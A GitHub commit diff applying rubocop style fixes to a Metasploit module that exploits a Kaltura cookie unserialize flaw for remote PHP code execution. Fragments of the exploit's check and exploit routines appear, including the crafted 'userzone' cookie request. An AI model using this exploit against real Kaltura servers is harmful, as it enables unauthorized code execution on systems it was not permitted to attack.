Skip to content

Commit 52356e0

Browse files
committed
Use stylistic suggestions from rubocop
1 parent 7fd7337 commit 52356e0

File tree

1 file changed

+9
-11
lines changed

1 file changed

+9
-11
lines changed

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

Lines changed: 9 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
99

1010
include Msf::Exploit::Remote::HttpClient
1111

12-
def initialize(info={})
12+
def initialize(info = {})
1313
super(update_info(info,
1414
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
1515
'Description' => %q{
@@ -32,8 +32,8 @@ def initialize(info={})
3232
'License' => MSF_LICENSE,
3333
'Author' =>
3434
[
35-
'Robin Verton <[email protected]>',
36-
'Mehmet Ince <[email protected]>' # first kaltura rce module
35+
'Robin Verton <[email protected]>',
36+
'Mehmet Ince <[email protected]>' # first kaltura rce module
3737
],
3838
'References' =>
3939
[
@@ -82,12 +82,12 @@ def check
8282
'cookie' => "userzone=#{encoded}#{hash}"
8383
)
8484

85-
if res and res.redirect?
85+
if res && res.redirect?
8686
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
8787
Exploit::CheckCode::Safe
8888
elsif res && res.body.include?(r)
8989
Exploit::CheckCode::Vulnerable
90-
elsif not check_entryid
90+
elsif !check_entryid
9191
print_error("Invalid ENTRYID")
9292
Exploit::CheckCode::Safe
9393
else
@@ -107,7 +107,6 @@ def check_entryid
107107
)
108108

109109
return res.body.include? entry_id
110-
111110
end
112111

113112
def exploit
@@ -136,13 +135,12 @@ def exploit
136135
'cookie' => "userzone=#{encoded}#{hash}"
137136
)
138137

139-
if res and res.redirect?
138+
if res && res.redirect?
140139
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
141-
elsif res and res.code != 200
142-
print_error('Unexpected response...')
140+
elsif res && res.code != 200
141+
print_error('Unexpected response...')
143142
else
144-
print_status("Output: #{res.body}")
143+
print_status("Output: #{res.body}")
145144
end
146-
147145
end
148146
end

0 commit comments

Comments
 (0)